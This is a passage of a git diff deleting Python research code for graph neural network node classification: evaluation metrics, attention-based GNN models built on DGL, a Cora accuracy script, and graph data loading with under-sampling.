len(result)).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP") - # f = Decimal(f / len(result)).quantize(Decimal("0.001"), rounding="ROUND_HALF_UP") - if p + r > 0: - f = Decimal(2 * p * r / (p + r)).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP") - else: - f = Decimal(f / len(result)).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP") - a = Decimal(a / len(result)).quantize(Decimal("0.0001"), rounding="ROUND_HALF_UP") - print(f"{minConf:>10.1f} {p:>10.4f} {r:>10.4f} {f:>10.4f} {a:>10.4f}") - if minConf == threshold: - target = [float(p), float(r), float(f), float(a)] - return target - - -def test(gnn_model, data_loader, device, top_k, threshold, use_nni, s_file=None): - """ - 使用测试集测试最终的模型 - - :param gnn_model: 模型 - :param data_loader: 图数据加载器 - :param device: device - :param top_k: top-k need to prediction 1,3,5, 0-> Full - :param threshold: classification threshold - :return: none - """ - with torch.no_grad(): - gnn_model.eval() - criterion = nn.BCELoss() # 二元交叉熵 - total_loss = 0.0 - result = [] - for g, features, labels, edge_types, kinds in data_loader: - output = gnn_model(g, features, edge_types) - # output = output[torch.eq(seeds, 0)] - # labels = labels[torch.eq(seeds, 0)] - # 计算 loss - loss = criterion(output, labels) - total_loss += loss.item() - if top_k != 0: - final_k = min(labels.shape[0], top_k) - result.append(calculate_result(labels, output, final_k)) - else: - # output = select_result(output) - # print(labels, output) - result.append(calculate_result_full(labels, output, device)) - # if s_file is not None: - # save_specific_result(labels, output, threshold, kinds, s_file) - target = print_result(result, threshold) - if use_nni: - print(target[2]) - nni.report_final_result(target[2]) - return target - - -def init(model_path, load_name, step, model_type, num_layers, in_feats, hidden_size, num_heads, num_edge_types, - use_gpu, attention_heads=10, approach='attention'): - # 定义模型参数 GPU 或 CPU - if use_gpu: - device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') - else: - device = 'cpu' - # 创建模型 - if approach == 'wo_attention': - model = WoAttentionPredictionModel(model_type, num_layers, in_feats, hidden_size, 0, num_heads, - num_edge_types) - elif approach == 'attention': - model = AttentionPredictionModel(model_type, num_layers, in_feats, hidden_size, 0, num_heads, - num_edge_types, attention_heads) - elif approach == 'wo_concat': - model = WoConcatPredictionModel(model_type, num_layers, in_feats, hidden_size, 0, num_heads, - num_edge_types, attention_heads) - else: - model = AttentionPredictionModel(model_type, num_layers, in_feats, hidden_size, 0, num_heads, - num_edge_types, attention_heads) - model = util.load_model(model, model_path, step, load_name) - model.to(device) - return model, device - - -def main_func(model_path, load_name, embedding_type, step, model_type="GCN", num_layers=3, in_feats=1280, hidden_size=1024, - attention_heads=8, num_heads=8, num_edge_types=6, use_gpu=True, load_lazy=True, approach="attention", - use_nni=False, under_sampling_threshold=15): - """ - 测试模型 - - :param model_path: path to trained model - :param load_name: best model's name - :param embedding_type: type of embedding - :param step: step - :param model_type: train model type: GCN, GAT, GraphSAGE, RGCN, GGNN - :param num_layers: number of graph convolution layers - :param in_feats: the size of code embedding - :param hidden_size: hidden size of GNN - :param attention_heads: number of graph attention heads - :param num_heads: number of graph convolution layer attention head - :param num_edge_types: number of edge type - :param use_gpu: default true - :param load_lazy: load dataset lazy - :param approach: train approach: attention or concat - :param use_nni: default true - :param under_sampling_threshold: under sampling threshold - :return: None - """ - model, device = init(model_path, load_name, step, model_type, num_layers, in_feats, hidden_size, - num_heads, num_edge_types, use_gpu, attention_heads, approach) - print('----load test dataset----') - if model_type.startswith('RGCN'): - self_loop = True - else: - self_loop = True - data_loader = load_prediction_data(model_path, 'test', embedding_type, batch_size=1, step=step, self_loop=self_loop, - load_lazy=load_lazy, under_sampling_threshold=under_sampling_threshold) - # thresholds = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0] - threshold = 0.4 - for k in [0]: - with open(f'specific_result_{step}.txt', 'w') as s_file: - target = test(model, data_loader, device, k, threshold, use_nni, s_file) - return target diff --git a/GNN_Node_Classification/test_model_accuracy.py b/GNN_Node_Classification/test_model_accuracy.py deleted file mode 100644 index 913109b..0000000 --- a/GNN_Node_Classification/test_model_accuracy.py +++ /dev/null @@ -1,122 +0,0 @@ -import dgl -from dgl.data import CoraGraphDataset - -import numpy as np -import torch -import torch.nn as nn -import torch.optim as optim -from dgl.nn.pytorch import GraphConv -from torchmetrics.classification import BinaryAccuracy, BinaryAveragePrecision -from torchmetrics.classification import BinaryPrecision -from torchmetrics.classification import BinaryRecall -from torchmetrics.classification import BinaryF1Score - - -dataset = CoraGraphDataset() # Cora citation network dataset -graph = dataset[0] -graph = dgl.remove_self_loop(graph) # 消除自环 -node_features = graph.ndata['feat'] -node_labels = graph.ndata['label'] -train_mask = graph.ndata['train_mask'] -valid_mask = graph.ndata['val_mask'] -test_mask = graph.ndata['test_mask'] -n_features = node_features.shape[1] -n_labels = int(node_labels.max().item() + 1) - - -class GCNModel3(nn.Module): - """ - GraphConv based gnn link prediction model: GCN - """ - def __init__(self, in_feats, hidden_size, out_feats, dropout): - super(GCNModel3, self).__init__() - # 不能设置 allow_zero_in_degree,这是需要自行处理,否则没有入度的节点特征将全部变为 0,只能加入自环边 - self.conv1 = GraphConv(in_feats, hidden_size) - self.conv3 = GraphConv(hidden_size, out_feats) - self.dropout = torch.nn.Dropout(p=dropout) - self.pred = torch.nn.Linear(out_feats, n_labels) - - def reset_parameters(self): - self.conv1.reset_parameters() - self.conv3.reset_parameters() - self.pred.reset_parameters() - - def forward(self, g, features, edge_types): - x = self.conv1(g, features) - x = torch.relu(x) - x = self.dropout(x) - x = self.conv3(g, x) - x = torch.relu(x) - x = self.pred(x).squeeze(1) - return torch.nn.functional.softmax(x, 1) - - -def valid(gnn_model, device): - global graph - global node_labels - global node_features - global valid_mask - with torch.no_grad(): - gnn_model.eval() - graph = graph.to(device) - features = node_features.to(device) - labels = node_labels.to(device) - valid_mask = valid_mask.to(device) - output = gnn_model(graph, features, None)[valid_mask] - labels = labels[valid_mask] - _, indices = torch.max(output, dim=1) - correct = torch.sum(indices == labels) - print(f'valid:----accuracy: {correct.item() * 1.0 / len(labels)}') - - -def test(gnn_model, device): - global graph - global node_labels - global node_features - global test_mask - with torch.no_grad(): - gnn_model.eval() - graph = graph.to(device) - features = node_features.to(device) - labels = node_labels.to(device) - test_mask = test_mask.to(device) - output = gnn_model(graph, features, None)[test_mask] - labels = labels[test_mask] - _, indices = torch.max(output, dim=1) - correct = torch.sum(indices == labels) - print(f'test:----accuracy: {correct.item() * 1.0 / len(labels)}') - - -def train(): - global graph - global node_labels - global node_features - global train_mask - device = 'cuda' if torch.cuda.is_available() else 'cpu' - gnn_model = GCNModel3(n_features, 512, 128, 0.2).to(device) - gnn_model.train() - optimizer = optim.Adam(gnn_model.parameters()) - # optimizer = optim.Adam(gnn_model.parameters(), lr=lr, weight_decay=0.001) - criterion = torch.nn.functional.cross_entropy # 二元交叉熵 - - for epoch in range(50): - graph = graph.to(device) - features = node_features.to(device) - labels = node_labels.to(device) - train_mask = train_mask.to(device) - - optimizer.zero_grad() - output = gnn_model(graph, features, None)[train_mask] - labels = labels[train_mask] - # print(output, labels) - _, indices = torch.max(output, dim=1) - print(indices, labels) - correct = torch.sum(indices == labels) - loss = criterion(output, labels) - loss.backward() - optimizer.step() - print(f'train:-----accuracy: {correct.item() * 1.0 / len(labels)}, loss: {loss.item()}') - valid(gnn_model=gnn_model, device=device) - test(gnn_model=gnn_model, device=device) - -train() diff --git a/GNN_Node_Classification/utils_nc/attention_prediction_model.py b/GNN_Node_Classification/utils_nc/attention_prediction_model.py deleted file mode 100644 index 895b494..0000000 --- a/GNN_Node_Classification/utils_nc/attention_prediction_model.py +++ /dev/null @@ -1,286 +0,0 @@ -import dgl -import numpy as np -import torch -import torch.nn as nn -import torch.nn.functional as F -import dgl.function as fn -from dgl.nn.pytorch import GATConv, GraphConv, SAGEConv, GatedGraphConv, RelGraphConv - - -def src_mul_edge(src_field, edge_field, out_field): - def func(edges): - return {out_field: edges.src[src_field] * edges.data[edge_field]} - - return func - - -def node_sum(in_field, out_field): - def func(nodes): - return {out_field: torch.sum(nodes.mailbox[in_field], dim=1)} - - return func - - -def copy_edge(src_field, dst_field): - def func(edges): - return {dst_field: edges.data[src_field]} - - return func - - -def edge_sum(in_field, out_field): - def func(nodes): - return {out_field: torch.sum(nodes.mailbox[in_field], dim=1)} - - return func - - -def src_dot_dst(src_field, dst_field, out_field): - def func(edges): - return {out_field: (edges.src[src_field] * edges.dst[dst_field]).sum(-1, keepdim=True)} - - return func - - -def scaled_exp(field, scale_constant): - def func(edges): - # clamp for softmax numerical stability - return {field: torch.exp((edges.data[field] / scale_constant).clamp(-10, 10))} - # return {field: torch.exp((edges.data[field] / scale_constant))} - - return func - - -class MultiHeadAttentionLayer(nn.Module): - def __init__(self, model_type, hidden_size, dropout, attention_heads, num_heads, num_edge_types): - super().__init__() - self.model_type = model_type - self.attention_heads = attention_heads - self.hidden_size = hidden_size - if model_type == 'GCN': - self.feature_Q = GraphConv(in_feats=hidden_size, out_feats=hidden_size) - self.feature_K = GraphConv(in_feats=hidden_size, out_feats=hidden_size) - self.feature_V = GraphConv(in_feats=hidden_size, out_feats=hidden_size) - elif model_type == 'GAT': - self.feature_Q = GATConv(hidden_size, hidden_size, num_heads=num_heads) - self.feature_K = GATConv(hidden_size, hidden_size, num_heads=num_heads) - self.feature_V = GATConv(hidden_size, hidden_size, num_heads=num_heads) - elif model_type == 'GraphSAGE': - self.feature_Q = SAGEConv(hidden_size, hidden_size, aggregator_type='mean') - self.feature_K = SAGEConv(hidden_size, hidden_size, aggregator_type='mean') - self.feature_V = SAGEConv(hidden_size, hidden_size, aggregator_type='mean') - elif model_type == 'RGCN': - self.feature_Q = RelGraphConv(hidden_size, hidden_size, num_edge_types, regularizer='basis', - num_bases=num_edge_types, self_loop=False) - self.feature_K = RelGraphConv(hidden_size, hidden_size, num_edge_types, regularizer='basis', - num_bases=num_edge_types, self_loop=False) - self.feature_V = RelGraphConv(hidden_size, hidden_size, num_edge_types, regularizer='basis', - num_bases=num_edge_types, self_loop=False) - elif model_type == 'GGNN': - self.feature_Q = GatedGraphConv(hidden_size, hidden_size, n_steps=2, n_etypes=num_edge_types) - self.feature_K = GatedGraphConv(hidden_size, hidden_size, n_steps=2, n_etypes=num_edge_types) - self.feature_V = GatedGraphConv(hidden_size, hidden_size, n_steps=2, n_etypes=num_edge_types) - self.dropout = torch.nn.Dropout(p=dropout) - - def propagate_attention(self, g): - # Compute attention score - g.apply_edges(src_dot_dst('K_h', 'Q_h', 'score')) # , edges) - g.apply_edges(scaled_exp('score', np.sqrt(self.hidden_size // self.attention_heads))) - - # Send weighted values to target nodes - eids = g.edges() - g.send_and_recv(eids, fn.u_mul_e('V_h', 'score', 'V_h'), fn.sum('V_h', 'wV')) - g.send_and_recv(eids, fn.copy_e('score', 'score'), fn.sum('score', 'z')) - - def forward(self, g, h, e): - with g.local_scope(): - if self.model_type == 'GCN' or self.model_type == 'GraphSAGE': - Q_h = F.relu(self.feature_Q(g, self.dropout(h))) - K_h = F.relu(self.feature_K(g, self.dropout(h))) - V_h = F.relu(self.feature_V(g, self.dropout(h))) - elif self.model_type == 'GAT': - Q_h = F.relu(self.feature_Q(g, self.dropout(h))).mean(dim=1) - K_h = F.relu(self.feature_Q(g, self.dropout(h))).mean(dim=1) - V_h = F.relu(self.feature_Q(g, self.dropout(h))).mean(dim=1) - elif self.model_type == 'RGCN' or self.model_type == 'GGNN': - Q_h = F.relu(self.feature_Q(g, self.dropout(h), e)) - K_h = F.relu(self.feature_K(g, self.dropout(h), e)) - V_h = F.relu(self.feature_V(g, self.dropout(h), e)) - # Reshaping into [num_nodes, num_heads, feat_dim] to - # get projections for multi-head attention - g.ndata['Q_h'] = Q_h.view(-1, self.attention_heads, self.hidden_size // self.attention_heads) - g.ndata['K_h'] = K_h.view(-1, self.attention_heads, self.hidden_size // self.attention_heads) - g.ndata['V_h'] = V_h.view(-1, self.attention_heads, self.hidden_size // self.attention_heads) - - self.propagate_attention(g) - - # head_out = g.ndata['wV'] / g.ndata['z'] 避免出现 0 的情况,但实际上不可能,因为都加了自旋边 - head_out = g.ndata['wV'] / ( - g.ndata['z'] + torch.full_like(g.ndata['z'], 1e-6)) # adding eps to all values here - return head_out - - -class AttentionPredictionModel(nn.Module): - """ - Attention prediction model - """ - - def __init__(self, model_type, number_layers, in_feats, hidden_size, dropout=0.1, attention_heads=10, num_heads=8, - num_edge_types=6): - """ - :param model_type: model type [GCN, GAT, GraphSAGE, RGCN, GGNN] - :param number_layers: graph network neural layers - :param in_feats: number of input - :param hidden_size: hidden size - :param dropout: dropout rate, defaults to 0.1 - :param attention_heads: number of graph attention heads, defaults to 10 - :param num_heads: number of gat attention heads, defaults to 8 - :param num_edge_types: number of edge, defaults to 6 - """ - super(AttentionPredictionModel, self).__init__() - print("attention prediction model") - self.number_layers = number_layers - self.hidden_size = hidden_size - # 不能设置 allow_zero_in_degree,这是需要自行处理,否则没有入度的节点特征将全部变为 0,只能加入自环边 - self.merge = torch.nn.Linear(in_feats, hidden_size) - self.gnn_attention_layers = nn.ModuleList() - self.output = [] - self.mlp = nn.ModuleList() - for i in range(self.number_layers): - self.gnn_attention_layers.append( - MultiHeadAttentionLayer(model_type, hidden_size, dropout, attention_heads, num_heads, num_edge_types)) - for i in range(self.number_layers - 1): - n = self.number_layers - i - self.mlp.append(torch.nn.Linear(hidden_size * n, hidden_size * (n - 1))) - self.mlp.append(torch.nn.Linear(hidden_size, 1)) - - def forward(self, g, x, edge_types): - self.output = [] - x = F.relu(self.merge(x)) - for i in range(self.number_layers): - x = self.gnn_attention_layers[i](g, x, edge_types).view(-1, self.hidden_size) - if not i == self.number_layers - 1: - self.output.append(x.clone()) - self.output.append(x) - x = torch.cat(self.output, dim=1) - for i in range(self.number_layers - 1): - x = torch.relu(self.mlp[i](x)) - x = self.mlp[self.number_layers - 1](x).squeeze(1) - return torch.sigmoid(x) - - -class PureMLPModel(nn.Module): - """ - Attention prediction model - """ - - def __init__(self, model_type, number_layers, in_feats, hidden_size, dropout=0.1, attention_heads=10, num_heads=8, - num_edge_types=6): - """ - :param model_type: model type [GCN, GAT, GraphSAGE, RGCN, GGNN] - :param number_layers: graph network neural layers - :param in_feats: number of input - :param hidden_size: hidden size - :param dropout: dropout rate, defaults to 0.1 - :param attention_heads: number of graph attention heads, defaults to 10 - :param num_heads: number of gat attention heads, defaults to 8 - :param num_edge_types: number of edge, defaults to 6 - """ - super(PureMLPModel, self).__init__() - print("PureMLP prediction model") - self.number_layers = number_layers - self.hidden_size = hidden_size - # 不能设置 allow_zero_in_degree,这是需要自行处理,否则没有入度的节点特征将全部变为 0,只能加入自环边 - self.merge = torch.nn.Linear(in_feats, hidden_size) - self.mlp = nn.ModuleList() - for i in range(self.number_layers - 1): - self.mlp.append(torch.nn.Linear(hidden_size / (1 << i), hidden_size / (1 << (i + 1)))) - self.mlp.append(torch.nn.Linear(hidden_size, 1)) - - def forward(self, g, x, edge_types): - x = F.relu(self.merge(x)) - for i in range(self.number_layers - 1): - x = torch.relu(self.mlp[i](x)) - x = self.mlp[self.number_layers - 1](x).squeeze(1) - return torch.sigmoid(x) - - - -class Encoder(nn.Module): - """ - Attention prediction model - """ - - def __init__(self, model_type, number_layers, in_feats, hidden_size, dropout=0.1, attention_heads=10, num_heads=8, - num_edge_types=6): - """ - :param model_type: model type [GCN, GAT, GraphSAGE, RGCN, GGNN] - :param number_layers: graph network neural layers - :param in_feats: number of input - :param hidden_size: hidden size - :param dropout: dropout rate, defaults to 0.1 - :param attention_heads: number of graph attention heads, defaults to 10 - :param num_heads: number of gat attention heads, defaults to 8 - :param num_edge_types: number of edge, defaults to 6 - """ - super(Encoder, self).__init__() - print("attention Encoder model") - self.number_layers = number_layers - self.hidden_size = hidden_size - # 不能设置 allow_zero_in_degree,这是需要自行处理,否则没有入度的节点特征将全部变为 0,只能加入自环边 - self.merge = torch.nn.Linear(in_feats, hidden_size) - self.gnn_attention_layers = nn.ModuleList() - self.output = [] - for i in range(self.number_layers): - self.gnn_attention_layers.append( - MultiHeadAttentionLayer(model_type, hidden_size, dropout, attention_heads, num_heads, num_edge_types)) - - def forward(self, g, x, edge_types): - self.output = [] - x = F.relu(self.merge(x)) - for i in range(self.number_layers): - x = self.gnn_attention_layers[i](g, x, edge_types).view(-1, self.hidden_size) - if not i == self.number_layers - 1: - self.output.append(x.clone()) - self.output.append(x) - return torch.cat(self.output, dim=1) - - -class Classifier(nn.Module): - """ - Attention Classifier model - """ - - def __init__(self, model_type, number_layers, in_feats, hidden_size, dropout=0.1, attention_heads=10, num_heads=8, - num_edge_types=6): - """ - :param model_type: model type [GCN, GAT, GraphSAGE, RGCN, GGNN] - :param number_layers: graph network neural layers - :param in_feats: number of input - :param hidden_size: hidden size - :param dropout: dropout rate, defaults to 0.1 - :param attention_heads: number of graph attention heads, defaults to 10 - :param num_heads: number of gat attention heads, defaults to 8 - :param num_edge_types: number of edge, defaults to 6 - """ - super(Classifier, self).__init__() - print("attention Classifier model") - self.number_layers = number_layers - self.hidden_size = hidden_size - self.output = [] - self.mlp = nn.ModuleList() - for i in range(self.number_layers - 1): - n = self.number_layers - i - self.mlp.append(torch.nn.Linear(hidden_size * n, hidden_size * (n - 1))) - self.mlp.append(torch.nn.Linear(hidden_size, 1)) - # self.gnn_classification_layer = MultiHeadAttentionLayer(model_type, hidden_size * number_layers, dropout, - # attention_heads, num_heads, num_edge_types) - - def forward(self, g, embed, edge_types): - x = embed - # 可选 gnn 层 - # x = self.gnn_classification_layer(g, x, edge_types).view(-1, self.hidden_size * self.number_layers) - for i in range(self.number_layers - 1): - x = torch.relu(self.mlp[i](x)) - x = self.mlp[self.number_layers - 1](x).squeeze(1) - return torch.sigmoid(x) diff --git a/GNN_Node_Classification/utils_nc/data_loader.py b/GNN_Node_Classification/utils_nc/data_loader.py deleted file mode 100644 index e9002ce..0000000 --- a/GNN_Node_Classification/utils_nc/data_loader.py +++ /dev/null @@ -1,397 +0,0 @@ -import ast -import random - -import math -import os -from os.path import join -from typing import Literal - -import numpy as np -from sklearn.cluster import KMeans -from collections import Counter - -import dgl -import pandas as pd -import torch -from dgl import DGLGraph -from pandas import DataFrame -from torch.utils.data import DataLoader -import torch.nn.functional as F - -LOAD_MODE = Literal['train', 'valid', 'test'] - - -def get_graph_files(dataset_path, mode: LOAD_MODE, embedding_type: str, step: int): - """ - 获取图数据保存文件 - - :return: [(nodes.tsv, edges.tsv), ...] - """ - graph_path = join(dataset_path, f'{embedding_type}_model_dataset_{str(step)}') - graph_files = [] - if mode == 'train': - if os.path.exists(join(graph_path, 'train')): - model_list = os.listdir(join(graph_path, 'train')) - else: - model_list = [] - elif mode == 'valid': - if os.path.exists(join(graph_path, 'valid')): - model_list = os.listdir(join(graph_path, 'valid')) - else: - model_list = [] - else: - if os.path.exists(join(graph_path, 'test')): - model_list = os.listdir(join(graph_path, 'test')) - else: - model_list = [] - for model_dir in model_list: - # if not model_dir.startswith('my_mylyn_5834_0'): - # continue - # print(model_dir) - if not os.path.exists(join(graph_path, mode, model_dir, 'nodes.tsv')): - continue - graph_files.append( - (join(graph_path, mode, model_dir, 'nodes.tsv'), join(graph_path, mode, model_dir, 'edges.tsv'))) - return graph_files - - -def compute_similarity(embeddings): - num_nodes = embeddings.shape[0] - similarity_matrix = torch.zeros((num_nodes, num_nodes)) - for i in range(num_nodes): - for j in range(i + 1, num_nodes): - similarity = F.cosine_similarity(embeddings[i].unsqueeze(0), embeddings[j].unsqueeze(0)) - similarity_matrix[i, j] = similarity - similarity_matrix[j, i] = similarity - return similarity_matrix - - -def similarity_sample(graph: DGLGraph): - kinds = torch.unique(graph.ndata['kind']) - # 去除负样本那种和正样本相似度超过平均值的 elements - for kind in kinds: - if kind != 0 and kind != 1: - continue - kind_nodes = (graph.ndata['kind'] == kind).nonzero(as_tuple=True)[0] - label_1_nodes = kind_nodes[(graph.ndata['label'][kind_nodes] == 1).nonzero(as_tuple=True)[0]] - label_0_nodes = kind_nodes[(graph.ndata['label'][kind_nodes] == 0).nonzero(as_tuple=True)[0]] - - avg_label_1_similarity = 0 - - if label_1_nodes.numel() > 1: - label_1_embeddings = graph.ndata['embedding'][label_1_nodes] - label_1_similarities = compute_similarity(label_1_embeddings) - avg_label_1_similarity = label_1_similarities[label_1_similarities != 0].mean().item() - - label_0_to_label_1_similarities = [] - for node_0 in label_0_nodes: - curr_node = [] - for node_1 in label_1_nodes: - similarity = F.cosine_similarity(graph.ndata['embedding'][node_0].unsqueeze(0), - graph.ndata['embedding'][node_1].unsqueeze(0), dim=1) - curr_node.append(similarity.item()) - # (curr_node > avg_label_1_similarity).count() - if len(curr_node) > 0: - label_0_to_label_1_similarities.append(sum(curr_node) / len(curr_node)) - - if label_0_to_label_1_similarities and label_1_nodes.numel() > 1: - new_s = label_0_to_label_1_similarities.copy() - new_s.sort() - # mid_similarity = new_s[int((len(new_s) / 4) * 3)] - # average_similarity = sum(label_0_to_label_1_similarities) / len(label_0_to_label_1_similarities) - # 因为正样本之间的相似度比较高,所以去除那些负样本与正样本相似度比较低的节点,小于正样本平均值的就去掉 - t = torch.tensor(label_0_to_label_1_similarities) - need_to_remove = label_0_nodes[t < avg_label_1_similarity] - graph.remove_nodes(need_to_remove.tolist()) - true_nodes = (graph.ndata['label'] == 1).nonzero(as_tuple=True)[0].tolist() - while True: - curr_len = len(true_nodes) - src, dst = graph.edges() - for i in range(len(src)): - if src[i].item() in true_nodes and dst[i].item() not in true_nodes: - true_nodes.append(dst[i].item()) - if dst[i].item() in true_nodes and src[i].item() not in true_nodes: - true_nodes.append(src[i].item()) - if len(true_nodes) == curr_len: - break - all_nodes = graph.nodes() - need_to_remove = [] - for node in all_nodes: - if node not in true_nodes: - need_to_remove.append(node) - graph.remove_nodes(need_to_remove) - return graph - - -def cluster_sample(graph: DGLGraph): - # 获取所有不同的 kind 值 - kinds = torch.unique(graph.ndata['kind']) - # 遍历每个 kind 并保留正样本聚类最多的类别的聚类节点 - for kind in kinds: - if kind != 0 and kind != 1: - continue - kind_nodes = (graph.ndata['kind'] == kind).nonzero(as_tuple=True)[0] - label_1_nodes = kind_nodes[(graph.ndata['label'][kind_nodes] == 1).nonzero(as_tuple=True)[0]] - label_0_nodes = kind_nodes[(graph.ndata['label'][kind_nodes] == 0).nonzero(as_tuple=True)[0]] - # 蒋所有节点合并后,进行聚类 - if label_1_nodes.numel() + label_0_nodes.numel() > 1: - # print(f"kind: {kind}") - label_1_embeddings = graph.ndata['embedding'][label_1_nodes] - label_0_embeddings = graph.ndata['embedding'][label_0_nodes] - all_embeddings = torch.cat((label_1_embeddings, label_0_embeddings), dim=0).tolist() - num_clusters = 2 - kmeans = KMeans(n_clusters=num_clusters, random_state=42) - kmeans.fit(all_embeddings) - labels = kmeans.labels_ - size_1 = label_1_embeddings.shape[0] - size_0 = label_0_embeddings.shape[0] - if size_1 > 0: - # 计算正样本的最多聚类标签 - cluster_labels = np.array(labels[0: size_1]) - # 计算众数 - counter = Counter(cluster_labels) - mode_data = counter.most_common(1)[0] - # 获取众数和出现频率 - mode = mode_data[0] - count = mode_data[1] - label_1 = labels[0: size_1] - label_0 = labels[size_1:] - need_to_remove_0 = label_0_nodes[label_0 != mode] - if need_to_remove_0.shape[0] != 0: - # print(f'removed false {need_to_remove_0.shape[0]}') - graph.remove_nodes(need_to_remove_0.tolist()) - need_to_remove_1 = label_1_nodes[label_1 != mode] - if need_to_remove_1.shape[0] != 0: - # print(f'removed true {need_to_remove_1.shape[0]}') - graph.remove_nodes(need_to_remove_1.tolist()) - else: - mode = random.randint(0, 1) - label_0 = labels[size_1:] - need_to_remove_0 = label_0_nodes[label_0 != mode] - if need_to_remove_0.shape[0] != 0: - # print(f'removed false {need_to_remove_0.shape[0]}') - graph.remove_nodes(need_to_remove_0.tolist()) - true_nodes = (graph.ndata['label'] == 1).nonzero(as_tuple=True)[0].tolist() - while True: - curr_len = len(true_nodes) - src, dst = graph.edges() - for i in range(len(src)): - if src[i].item() in true_nodes and dst[i].item() not in true_nodes: - true_nodes.append(dst[i].item()) - if dst[i].item() in true_nodes and src[i].item() not in true_nodes: - true_nodes.append(src[i].item()) - if len(true_nodes) == curr_len: - break - all_nodes = graph.nodes() - need_to_remove = [] - for node in all_nodes: - if node not in true_nodes: - need_to_remove.append(node) - graph.remove_nodes(need_to_remove) - return graph - - -def my_under_sampling(nodes: DataFrame, edges: DataFrame, mode: str, threshold: float): - """ - 分层随机欠采样(保证图的连通性),根据阈值随机欠采样,如果超过阈值,则随机采样生成多对结果,count = neg / pos / threshold - - :param nodes: 节点数据 columns=['node_id', 'code_embedding', 'label', 'kind'] - :param edges: 边数据 columns=['start_node_id', 'end_node_id', 'relation'] - :param threshold: 欠采样阈值 负样本/正样本 - :param mode: 样本选择,train, valid, test - :return: 随机欠采样后的节点数据和边数据,可能有多对 - """ - # print('threshold = ', threshold) - # 验证集和测试集固定采样比,也就是峰值,训练集之后在此基础上进行网格搜索 - if mode == 'valid' or mode == 'test': - threshold = 30.0 - neg_count = (nodes['label'] == 0).sum() - pos_count = (nodes['label'] == 1).sum() - if pos_count == 0: - pos_count = 1 - # 如果没有达到阈值,不需要采样 - if neg_count / pos_count <= threshold: - return [(nodes, edges)] - # 最多采样 1 次 - count = min(math.floor(neg_count / pos_count / threshold), 1) - final_graphs = [] - # print(neg_count, pos_count) - all_neg_nodes = nodes[nodes['label'] == 0] - need_sample_num = pos_count * threshold - # 循环不重复采样,生成多个图,防止信息过分丢失 - for _ in range(count): - final_nodes = nodes[(nodes['label'] == 1)] - sample_count = need_sample_num - while len(final_nodes) < (pos_count + need_sample_num): - # print(len(final_nodes), ' ', pos_count + need_sample_num, ' ', sample_count) - sample_neg_nodes = all_neg_nodes.sample(int(sample_count)) - # 只留下与final_nodes中的节点有关联的节点 - middle_ids = final_nodes['node_id'].tolist() - middle_edges = edges[edges['start_node_id'].isin(middle_ids) | edges['end_node_id'].isin(middle_ids)] - t_nodes = list(set(middle_edges['start_node_id'].tolist() + middle_edges['end_node_id'].tolist())) - sample_neg_nodes = sample_neg_nodes[sample_neg_nodes['node_id'].isin(t_nodes)] - sample_count -= len(sample_neg_nodes) - final_nodes = pd.concat([final_nodes, sample_neg_nodes]) - merged_ids = final_nodes['node_id'].tolist() - final_edges = edges[edges['start_node_id'].isin(merged_ids) & edges['end_node_id'].isin(merged_ids)] - final_nodes = final_nodes.copy(deep=True) - final_edges = final_edges.copy(deep=True) - final_nodes.reset_index(drop=True, inplace=True) # 下面需要根据索引修改,需要重置 - final_edges.reset_index(drop=True, inplace=True) - # 构建新的节点id映射关系 - map_ids = dict() - index = 0 - id_list = final_nodes['node_id'].tolist() - # print('id_list', id_list) - # 更新节点 - for _id in id_list: - map_ids[_id] = index - final_nodes.at[index, 'node_id'] = index - index += 1 - # 更新边 - for i, row in final_edges.iterrows(): - final_edges.at[i, 'start_node_id'] = map_ids.get(row['start_node_id']) - final_edges.at[i, 'end_node_id'] = map_ids.get(row['end_node_id']) - final_graphs.append((final_nodes, final_edges)) - return final_graphs - - -def random_under_sampling(graph, mode, under_sampling_threshold): - # 提取第一个维度的数据并转成 DataFrame 的列 - data = { - 'node_id': [graph.nodes()[i].item() for i in range(graph.nodes().shape[0])], - 'embedding': [graph.ndata['embedding'][i].tolist() for i in range(graph.ndata['embedding'].shape[0])], - 'label': [graph.ndata['label'][i].item() for i in range(graph.ndata['label'].shape[0])], - 'kind': [graph.ndata['kind'][i].item() for i in range(graph.ndata['kind'].shape[0])] - } - # 创建 DataFrame - nodes = pd.DataFrame(data) - (src, dst) = graph.edges() - data = { - 'start_node_id': [src[i].item() for i in range(src.shape[0])], - 'end_node_id': [dst[i].item() for i in range(dst.shape[0])], - 'relation': [graph.edata['relation'][i].item() for i in range(graph.edata['relation'].shape[0])] - } - # 创建 DataFrame - edges = pd.DataFrame(data) - sample_nodes, sample_edges = my_under_sampling(nodes, edges, mode, under_sampling_threshold)[0] - src, dst = sample_edges['start_node_id'].tolist(), sample_edges['end_node_id'].tolist() - g = dgl.graph(data=(src, dst), num_nodes=len(sample_nodes)) - g.ndata['embedding'] = torch.Tensor(sample_nodes['embedding'].tolist()) - g.ndata['label'] = torch.tensor(sample_nodes['label'].tolist(), dtype=torch.float32) - g.ndata['kind'] = torch.tensor(sample_nodes['kind'].tolist(), dtype=torch.int64) - g.edata['relation'] = torch.tensor(sample_edges['relation'].tolist(), dtype=torch.int64) - return g - - -def load_graph_data(node_file, edge_file, mode: LOAD_MODE, under_sampling_threshold: float, self_loop=True): - """ - 加载图,从nodes.tsv,edges.tsv文件加载节点特征和边信息 - - :param node_file: 节点文件 - :param edge_file: 边文件 - :param mode: 数据集模式 Literal['train', 'valid', 'test'] - :param under_sampling_threshold: 欠采样阈值 - :param self_loop: self loop - :return: 图 - """ - # print('handling {0}'.format(node_file)) - nodes = pd.read_csv(node_file) # columns=['node_id', 'code_embedding', 'label', 'kind'] - edges = pd.read_csv(edge_file) # columns=['start_node_id', 'end_node_id', 'relation'] - graphs = [] - src, dst = edges['start_node_id'].tolist(), edges['end_node_id'].tolist() - g = dgl.graph(data=(src, dst), num_nodes=len(nodes)) - g.ndata['embedding'] = torch.Tensor(nodes['code_embedding'].apply(lambda x: ast.literal_eval(x)).tolist()) - g.ndata['label'] = torch.tensor(nodes['label'].tolist(), dtype=torch.float32) - kind_mapping = {'variable': 0, 'function': 1, 'class': 2, 'interface': 3} - nodes['kind_encoded'] = nodes['kind'].map(kind_mapping) - g.ndata['kind'] = torch.tensor(nodes['kind_encoded'].tolist(), dtype=torch.int64) - g.edata['relation'] = 